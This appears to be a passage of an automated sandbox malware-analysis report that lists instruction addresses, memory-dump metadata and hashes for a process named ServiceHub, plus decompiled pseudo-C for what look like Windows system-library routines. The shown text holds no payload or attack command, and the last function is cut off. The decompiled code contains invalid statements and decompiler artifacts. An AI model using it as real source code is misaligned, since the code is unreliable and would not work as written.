                                          0x011d5172
                                          0x011d5176
                                          0x011d517a
                                          0x011d517a
                                          0x011d517a
                                          0x011d517f
                                          0x01216d8b
                                          0x01216d8e
                                          0x01216d91
                                          0x01216d95
                                          0x01216d98
                                          0x01216d9c
                                          0x01216da0
                                          0x01216da3
                                          0x01216da7
                                          0x01216e26
                                          0x01216e26
                                          0x01216e2a
                                          0x011d51f9
                                          0x011d51f9
                                          0x011d51fe
                                          0x01216e33
                                          0x01216e33
                                          0x01216e39
                                          0x01216e3d
                                          0x01216e46
                                          0x01216e50
                                          0x00000000
                                          0x00000000
                                          0x01216e52
                                          0x01216e53
                                          0x01216e56
                                          0x01216e5d
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01216e5f
                                          0x01216e67
                                          0x01216e77
                                          0x01216e7f
                                          0x01216e80
                                          0x01216e88
                                          0x01216e90
                                          0x01216e9f
                                          0x01216ea5
                                          0x01216ea9
                                          0x01216eb1
                                          0x01216ebf
                                          0x00000000
                                          0x00000000
                                          0x01216ecf
                                          0x01216ed3
                                          0x00000000
                                          0x00000000
                                          0x01216edb
                                          0x01216ede
                                          0x01216ee1
                                          0x01216ee8
                                          0x01216eeb
                                          0x01216eed
                                          0x01216ef0
                                          0x01216ef4
                                          0x01216ef8
                                          0x01216efc
                                          0x00000000
                                          0x00000000
                                          0x01216f0d
                                          0x01216f11
                                          0x01216f32
                                          0x01216f37
                                          0x01216f3b
                                          0x01216f3e
                                          0x01216f41
                                          0x01216f46
                                          0x00000000
                                          0x00000000
                                          0x01216f4c
                                          0x01216f50
                                          0x01216f50
                                          0x01216f54
                                          0x01216f62
                                          0x01216f65
                                          0x01216f6d
                                          0x01216f7b
                                          0x01216f7b
                                          0x01216f93
                                          0x01216f98
                                          0x01216fa0
                                          0x01216fa6
                                          0x01216fb3
                                          0x01216fb6
                                          0x01216fbf
                                          0x01216fc1
                                          0x01216fd5
                                          0x01216fda
                                          0x01216fda
                                          0x01216fdd
                                          0x01216fe2
                                          0x01216fe7
                                          0x01216feb
                                          0x01216fef
                                          0x01216ff3
                                          0x011d520c
                                          0x011d520c
                                          0x011d520f
                                          0x011d5215
                                          0x011d5234
                                          0x011d523a
                                          0x011d523a
                                          0x011d5244
                                          0x011d5245
                                          0x011d5246
                                          0x011d5251
                                          0x011d5251
                                          0x01216f13
                                          0x01216f17
                                          0x01216f17
                                          0x01216f18
                                          0x01216f1b
                                          0x01216f1f
                                          0x01216f23
                                          0x00000000
                                          0x01216f28
                                          0x011d5204
                                          0x011d5204
                                          0x011d5208
                                          0x00000000
                                          0x011d5208
                                          0x011d5185
                                          0x011d5188
                                          0x011d518a
                                          0x011d518e
                                          0x011d5195
                                          0x01216db1
                                          0x01216db5
                                          0x01216db9
                                          0x011d519b
                                          0x011d519b
                                          0x011d519e
                                          0x011d51a7
                                          0x011d51a9
                                          0x011d51a9
                                          0x011d51b5
                                          0x011d51b8
                                          0x011d51bb
                                          0x011d51be
                                          0x011d51c1
                                          0x011d51c5
                                          0x011d51c9
                                          0x011d51cd
                                          0x011d51cd
                                          0x011d51d8
                                          0x011d51dc
                                          0x011d51e0
                                          0x01216dcc
                                          0x01216dd0
                                          0x01216dd5
                                          0x01216ddd
                                          0x01216de1
                                          0x01216de1
                                          0x01216de5
                                          0x01216deb
                                          0x01216df1
                                          0x01216df7
                                          0x01216dfd
                                          0x01216e01
                                          0x01216e05
                                          0x01216e09
                                          0x01216e0d
                                          0x01216e11
                                          0x01216e11
                                          0x011d51eb
                                          0x01216e1a
                                          0x01216e1f
                                          0x01216e21
                                          0x01216e23
                                          0x00000000
                                          0x011d51f1
                                          0x011d51f1
                                          0x00000000
                                          0x011d51f1

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 54d82259c8a62d98a44c3738c00d43ce97fb9d735517c6ce52a8f198b8876076
                                          • Instruction ID: 42dcf5d7afe9473276ee59b8f881bfdb5892dc10c986762ab9381184c3557211
                                          • Opcode Fuzzy Hash: 54d82259c8a62d98a44c3738c00d43ce97fb9d735517c6ce52a8f198b8876076
                                          • Instruction Fuzzy Hash: 37C112755093818FD358CF28C580A5AFBF2BF88304F184A6EF9998B352D771E945CB42
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D03E2 Relevance: .3, Instructions: 254COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 74%
                                          			E011D03E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x129d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E011D0548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E011EB640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E011BB02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x1297c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E011C7D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E011C7D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E01227016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E011E9830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E012269A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0x1297c04 != 0) {
						_t118 = _v12;
						_t120 = E0122A7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x1297bd8;
						if( *0x1297bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E011E95D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E011E99A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E01223540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E011AB1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E011EAAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x1298474 - 3;
										if( *0x1298474 != 3) {
											 *0x12979dc =  *0x12979dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E011C7D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E011C7D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E01227016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x1298708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x1297b00; // 0x0
							asm("ror esi, cl");
							 *0x129b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E011E95D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E011B7F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}








































                                          0x011d03f1
                                          0x011d03f7
                                          0x011d03f9
                                          0x011d03fb
                                          0x011d03fd
                                          0x011d0400
                                          0x011d040a
                                          0x01214c7a
                                          0x011d0537
                                          0x011d0547
                                          0x011d0410
                                          0x011d0410
                                          0x011d0414
                                          0x011d0417
                                          0x011d041a
                                          0x011d0421
                                          0x011d0424
                                          0x011d042b
                                          0x011d043b
                                          0x011d043e
                                          0x011d043f
                                          0x011d043f
                                          0x011d0446
                                          0x011d0449
                                          0x011d044c
                                          0x011d044f
                                          0x011d0459
                                          0x01214c8d
                                          0x011d045f
                                          0x011d045f
                                          0x011d045f
                                          0x011d0467
                                          0x01214c97
                                          0x01214c9d
                                          0x01214ca4
                                          0x01214caa
                                          0x01214caf
                                          0x01214cb1
                                          0x01214cc3
                                          0x01214cb3
                                          0x01214cbc
                                          0x01214cbc
                                          0x01214cc8
                                          0x01214ccb
                                          0x01214cd7
                                          0x01214cda
                                          0x01214cdf
                                          0x01214cdf
                                          0x01214ccb
                                          0x01214ca4
                                          0x011d046d
                                          0x011d046f
                                          0x011d046f
                                          0x011d0471
                                          0x011d0476
                                          0x011d047a
                                          0x011d047b
                                          0x011d0483
                                          0x011d0489
                                          0x011d048d
                                          0x00000000
                                          0x00000000
                                          0x01214ce9
                                          0x01214cef
                                          0x01214d22
                                          0x01214d22
                                          0x00000000
                                          0x01214d22
                                          0x01214cf1
                                          0x01214cf7
                                          0x00000000
                                          0x00000000
                                          0x01214cf9
                                          0x01214cff
                                          0x00000000
                                          0x00000000
                                          0x01214d05
                                          0x01214d07
                                          0x00000000
                                          0x00000000
                                          0x01214d0d
                                          0x01214d0f
                                          0x01214d14
                                          0x01214d16
                                          0x00000000
                                          0x00000000
                                          0x01214d1c
                                          0x01214d1c
                                          0x011d0499
                                          0x011d0535
                                          0x011d0535
                                          0x00000000
                                          0x011d0535
                                          0x011d04a6
                                          0x01214d2c
                                          0x01214d37
                                          0x01214d39
                                          0x01214d3b
                                          0x00000000
                                          0x00000000
                                          0x01214d41
                                          0x01214d48
                                          0x011d0527
                                          0x011d052b
                                          0x011d052d
                                          0x011d0530
                                          0x011d0530
                                          0x00000000
                                          0x011d052b
                                          0x01214d4e
                                          0x011d04ac
                                          0x011d04ac
                                          0x011d04af
                                          0x011d04b2
                                          0x011d04b7
                                          0x011d04b9
                                          0x011d04bb
                                          0x011d04bd
                                          0x011d04bf
                                          0x011d04c5
                                          0x011d04c9
                                          0x01214d53
                                          0x01214d59
                                          0x01214db9
                                          0x01214dba
                                          0x01214dbf
                                          0x01214dc2
                                          0x01214dc4
                                          0x01214dc7
                                          0x01214dce
                                          0x00000000
                                          0x01214dce
                                          0x01214d5b
                                          0x01214d61
                                          0x00000000
                                          0x00000000
                                          0x01214d63
                                          0x01214d69
                                          0x00000000
                                          0x00000000
                                          0x01214d6b
                                          0x01214d6e
                                          0x01214d74
                                          0x01214d76
                                          0x01214d7c
                                          0x01214d7e
                                          0x01214d84
                                          0x01214d89
                                          0x01214d8c
                                          0x01214d8d
                                          0x01214d92
                                          0x01214d95
                                          0x01214d96
                                          0x01214d98
                                          0x01214d9a
                                          0x01214d9f
                                          0x01214da4
                                          0x01214da6
                                          0x01214da8
                                          0x01214daf
                                          0x01214db1
                                          0x01214db1
                                          0x01214daf
                                          0x01214da6
                                          0x01214d84
                                          0x01214d7c
                                          0x00000000
                                          0x01214d74
                                          0x011d04d6
                                          0x01214de1
                                          0x011d04dc
                                          0x011d04dc
                                          0x011d04dc
                                          0x011d04e4
                                          0x01214deb
                                          0x01214df1
                                          0x01214df8
                                          0x01214dfe
                                          0x01214e03
                                          0x01214e05
                                          0x01214e17
                                          0x01214e07
                                          0x01214e10
                                          0x01214e10
                                          0x01214e1c
                                          0x01214e1f
                                          0x01214e35
                                          0x01214e35
                                          0x01214e1f
                                          0x01214df8
                                          0x011d04f1
                                          0x011d04fa
                                          0x01214e3f
                                          0x01214e47
                                          0x01214e5b
                                          0x01214e61
                                          0x01214e67
                                          0x01214e69
                                          0x01214e71
                                          0x01214e73
                                          0x011d0500
                                          0x011d0500
                                          0x011d0500
                                          0x011d04fa
                                          0x011d0508
                                          0x011d051d
                                          0x011d051d
                                          0x011d051f
                                          0x011d0524
                                          0x00000000
                                          0x011d0524
                                          0x011d0515
                                          0x011d0517
                                          0x01214e7a
                                          0x01214e7c
                                          0x00000000
                                          0x00000000
                                          0x01214e85
                                          0x00000000
                                          0x01214e85
                                          0x00000000
                                          0x011d0517

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: fe121dad01b6f2457cf020e383901bd7a271d23cdb53bd97765e624aeb2b4ea3
                                          • Instruction ID: 2301e6a0266e1eff01ca85225ff6ad002f55916a5564df2ad77a609ed60b6ae5
                                          • Opcode Fuzzy Hash: fe121dad01b6f2457cf020e383901bd7a271d23cdb53bd97765e624aeb2b4ea3
                                          • Instruction Fuzzy Hash: 3B912631E1025AABEF39EB6CC848BBD7BE4AF15724F050265FA15AB2D1D7749D00C781
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011AC600 Relevance: .2, Instructions: 225COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 67%
                                          			E011AC600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x129d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E011B6D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E011EB640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x1297b9c; // 0x0
					_t74 = L011C4620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E011E9650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L011C77F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E011EF3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E011E13C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L011C77F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E011E9650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}










































                                          0x011ac608
                                          0x011ac615
                                          0x011ac625
                                          0x011ac62d
                                          0x011ac635
                                          0x011ac640
                                          0x011ac680
                                          0x011ac687
                                          0x011ac688
                                          0x011ac689
                                          0x011ac694
                                          0x011ac694
                                          0x011ac642
                                          0x011ac64a
                                          0x011ac697
                                          0x01217a25
                                          0x01217a2b
                                          0x01217a2e
                                          0x01217a30
                                          0x01217bea
                                          0x01217bea
                                          0x00000000
                                          0x01217bea
                                          0x01217a36
                                          0x01217a43
                                          0x01217a48
                                          0x01217a4c
                                          0x01217a4e
                                          0x00000000
                                          0x00000000
                                          0x01217a58
                                          0x01217a5a
                                          0x01217a5b
                                          0x01217a5c
                                          0x01217a5d
                                          0x01217a63
                                          0x01217a64
                                          0x01217a6a
                                          0x01217a6c
                                          0x01217a6e
                                          0x012179cb
                                          0x012179cb
                                          0x012179ce
                                          0x012179d0
                                          0x01217a98
                                          0x01217a9b
                                          0x01217a9b
                                          0x01217a9e
                                          0x01217aa1
                                          0x01217bbe
                                          0x01217bbe
                                          0x01217bc0
                                          0x01217be0
                                          0x01217be0
                                          0x01217a01
                                          0x01217a01
                                          0x01217a05
                                          0x01217a07
                                          0x01217a15
                                          0x01217a15
                                          0x01217a1a
                                          0x00000000
                                          0x01217a1a
                                          0x01217bc2
                                          0x01217bc6
                                          0x01217bc9
                                          0x01217bcd
                                          0x01217bcf
                                          0x012179e6
                                          0x012179e6
                                          0x012179eb
                                          0x012179eb
                                          0x012179ef
                                          0x012179f1
                                          0x00000000
                                          0x00000000
                                          0x012179f3
                                          0x012179f5
                                          0x012179ff
                                          0x012179ff
                                          0x00000000
                                          0x012179ff
                                          0x012179f7
                                          0x012179fd
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x012179fd
                                          0x01217bd5
                                          0x01217bd8
                                          0x00000000
                                          0x00000000
                                          0x01217ba9
                                          0x01217bac
                                          0x01217bb0
                                          0x01217bb1
                                          0x01217bb1
                                          0x01217bb6
                                          0x00000000
                                          0x01217bb6
                                          0x01217aa7
                                          0x01217aaa
                                          0x00000000
                                          0x00000000
                                          0x01217ab2
                                          0x01217ab3
                                          0x01217ab5
                                          0x01217aec
                                          0x01217aef
                                          0x01217b25
                                          0x01217b28
                                          0x01217b62
                                          0x01217b64
                                          0x01217b8f
                                          0x01217b92
                                          0x01217b96
                                          0x01217b98
                                          0x00000000
                                          0x00000000
                                          0x01217b9e
                                          0x01217b9f
                                          0x01217ba3
                                          0x00000000
                                          0x01217ba3
                                          0x01217b66
                                          0x01217b68
                                          0x01217ae2
                                          0x01217ae2
                                          0x00000000
                                          0x01217ae2
                                          0x01217b6e
                                          0x01217b72
                                          0x01217b75
                                          0x01217b81
                                          0x01217b85
                                          0x01217b87
                                          0x00000000
                                          0x00000000
                                          0x01217b31
                                          0x01217b34
                                          0x01217b3c
                                          0x01217b45
                                          0x01217b46
                                          0x01217b4f
                                          0x01217b51
                                          0x01217b57
                                          0x01217b59
                                          0x01217b59
                                          0x00000000
                                          0x01217b59
                                          0x01217b77
                                          0x00000000
                                          0x01217b77
                                          0x01217b2a
                                          0x00000000
                                          0x01217b2a
                                          0x01217af1
                                          0x01217af3
                                          0x00000000
                                          0x00000000
                                          0x01217afb
                                          0x01217afc
                                          0x01217afe
                                          0x00000000
                                          0x00000000
                                          0x01217b00
                                          0x01217b03
                                          0x00000000
                                          0x00000000
                                          0x01217b05
                                          0x01217b09
                                          0x01217b0d
                                          0x01217b0f
                                          0x00000000
                                          0x00000000
                                          0x01217b18
                                          0x01217b1d
                                          0x00000000
                                          0x01217b1d
                                          0x01217ab7
                                          0x01217ab9
                                          0x00000000
                                          0x00000000
                                          0x01217abf
                                          0x01217ac1
                                          0x00000000
                                          0x00000000
                                          0x01217ac3
                                          0x01217ac6
                                          0x00000000
                                          0x00000000
                                          0x01217ac8
                                          0x01217acc
                                          0x01217ad0
                                          0x01217ad2
                                          0x00000000
                                          0x00000000
                                          0x01217adb
                                          0x00000000
                                          0x01217adb
                                          0x012179d6
                                          0x012179d9
                                          0x012179dc
                                          0x01217a91
                                          0x01217a94
                                          0x00000000
                                          0x01217a94
                                          0x012179e2
                                          0x00000000
                                          0x012179e2
                                          0x01217a74
                                          0x01217a7a
                                          0x00000000
                                          0x00000000
                                          0x01217a8a
                                          0x01217a21
                                          0x01217a21
                                          0x00000000
                                          0x01217a21
                                          0x011ac650
                                          0x011ac651
                                          0x011ac656
                                          0x011ac65c
                                          0x011ac65d
                                          0x011ac663
                                          0x011ac664
                                          0x011ac66a
                                          0x011ac66e
                                          0x012179c5
                                          0x012179c7
                                          0x00000000
                                          0x012179c7
                                          0x011ac67a
                                          0x00000000
                                          0x00000000
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 741dba3c2529dfe1505fb8049f02bb9edc763e137ff807fb4d840e6386880aac
                                          • Instruction ID: 3b0388f5e8dc82cc58495e8b9cf1526c53a3b4a7ad14621facab0cdb842865c2
                                          • Opcode Fuzzy Hash: 741dba3c2529dfe1505fb8049f02bb9edc763e137ff807fb4d840e6386880aac
                                          • Instruction Fuzzy Hash: 8581C7766242028FDB26CE58C881B7B77E5FBE4354F24481EEE458B249E730ED44CBA1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0123B8D0 Relevance: .2, Instructions: 199COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 39%
                                          			E0123B8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x1297b9c; // 0x0
				_t124 = L011C4620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
